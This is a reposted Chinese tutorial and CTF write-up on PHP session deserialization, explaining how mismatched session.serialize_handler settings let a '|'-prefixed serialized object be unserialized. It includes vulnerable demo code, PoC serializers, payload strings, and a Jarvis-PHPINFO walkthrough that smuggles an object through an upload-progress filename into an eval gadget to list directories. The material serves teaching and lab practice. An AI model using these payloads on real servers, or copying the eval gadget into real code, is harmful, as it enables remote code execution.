session反序列化漏洞

这篇具有很好参考价值的文章主要介绍了session反序列化漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前提知识

php代码

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session_start

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

Set-Cookie: PHPSESSID=22nf03m50uu2brq62ap515gjo4; path=/

session.upload_progress.enabled

这也是一个php设置的一个参数,在这道题的phpinfo页面,我们可以看到它的这个参数为On。而当它为On时,如果我们向服务器POST一个参数和一个文件,就可以向session中添加一条数据。但是,是有条件的:参数的名字必须和这个参数”session.upload_progress.name“的值同。”session.upload_progress.name“可以在php.ini文件中找到,默认都是“PHP_SESSION_UPLOAD_PROGRESS”。

session.use_trans_sid

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

php.ini中Session配置

session.save_path=“” --设置session的存储路径
session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

session.auto_start	Off
session.save_handler	files
session.save_path	D:\phpstudy_pro\Extensions\tmp\tmp
session.serialize_handler	php

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

打开save路径找到sessionID对应的文件名发现内容如下

session|s:6:"coleak";

对比三种不同

session|s:6:"coleak";
<0x07>sessions:6:"coleak";//这里的0x07是不可见字符
a:1:{s:7:"session";s:6:"coleak";}

在Linux上搭建的话,常见的php-session存放位置有:

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

初步复现

原理

使用不同的引擎来处理session文件

案例

1.php

<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['name'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class student{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name."!";
    }
}
?>

首先访问1.php,在传入的参数最开始加一个’|‘,由于1.php是使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|'后的值进行反序列化处理。

poc

<?php
class student{
    var $name;
    var $age;
}
$a = new student();
$a->name =  "coleak";
$a->age = "100";
echo serialize($a);
?>

O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}

payload文章来源地址https://www.toymoban.com/news/detail-465073.html

|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}

此时查看文件内容

a:1:{s:4:“name”;s:63:“|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}”;}

访问2.php

hello coleak!

无$_SESSION变量赋值

在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,看官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度

这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。

session.upload_progress.enabled = On   --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)

案例:Jarvis-PHPINFO

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

查看phpinfo中找到不同的处理引擎

session.serialize_handler php php_serialize

session.upload_progress.enabled On On

session.upload_progress.cleanup Off Off

poc

<?php
class OowoO
{
    public $mdzz = "print_r(scandir(dirname(__FILE__)));";
}
echo(serialize(new OowoO()));
?>

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

payload

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

1.html

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <form action = "http://localhost:8084/index.php" method = "POST" enctype = "multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
        <input type="file" name="file">
        <input type="submit">
    </form>
</body>
</html>

改流量包

Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain

到了这里,关于session反序列化漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • session反序列化+SoapClientSSRF+CRLF

    前言 从一道题分析通过session反序列化出发 SoapClient SSRF利用CRLF解题 bestphp’s revenge 首页是index.php index.php 好像没什么利用条件,我们通过目录扫描到 flag.php: 看这个代码很明显是 SSRF 漏洞,我们需要通过ssrf访问: http://127.0.0.1/flag.php 将flag写入session文件中,最后访问 index.php

    2024年02月14日
    浏览(34)
  • 由Django-Session配置引发的反序列化安全问题

    漏洞成因位于目标配置文件settings.py下 关于这两个配置项 SESSION_ENGINE: 在Django中, SESSION_ENGINE  是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。 SESSION_ENGINE  设置项允许您选择不同的后端引擎来存储会话数据,例如: 数据库后端  ( django.contrib.sessions.b

    2024年02月08日
    浏览(47)
  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(50)
  • 反序列化渗透与攻防(二)之Java反序列化漏洞

    JAVA反序列化漏洞到底是如何产生的? 1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。 2、Apache Commons Collections是开源小

    2023年04月17日
    浏览(47)
  • 反序列化漏洞及漏洞复现

    问题 :为什么要序列化? 序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重

    2024年02月09日
    浏览(45)
  • 反序列化漏洞

    反序列化漏洞(Deserialization Vulnerability)是指攻击者利用应用程序在反序列化操作中的漏洞,将恶意序列化对象注入到应用程序中,从而执行未授权的操作或者以应用程序的身份执行恶意代码,从而导致系统被攻击的一种漏洞。   序列化和反序列化是一种将对象或数据结构转

    2024年02月13日
    浏览(33)
  • Weblogic反序列化漏洞

    漏洞环境基于vulhub搭建–进入weak_password的docker环境 sudo docker-compose up -d拉取靶场 404特征Weblogic常用端口:7001 任意读取文件、后台getshell,访问/console/login/LoginForm.jsp后缀来到后台管理处 获取用户名密码 http://192.168.25.128:7001/console/login/LoginForm.jsp 使用任意读取文件方式获取用户

    2024年02月09日
    浏览(43)
  • 几种反序列化漏洞

    Error类 PHP7.0,因为存在__toString,可以进行XSS Exception类 因为存在__toString,可以进行XSS DirectoryIterator类 因为存在__toString,可以获取符合要求的第一个文件名 SplFileObject类 因为存在__toString,可以读取文件内容 SimpleXMLElement 可以造成 xxe xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE X

    2024年02月10日
    浏览(34)
  • thinkphp 反序列化漏洞

    php.ini 配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展 配置防调试超时 测试版本5.1.37 适用版本5.1.16-5.1.40 修改控制器 查找入口__destruct,进入windows类 查看removeFiles方法 poc1(任意文件删除) TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0O

    2024年02月11日
    浏览(36)
  • 反序列化漏洞(PHP)

    0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型

    2024年02月06日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包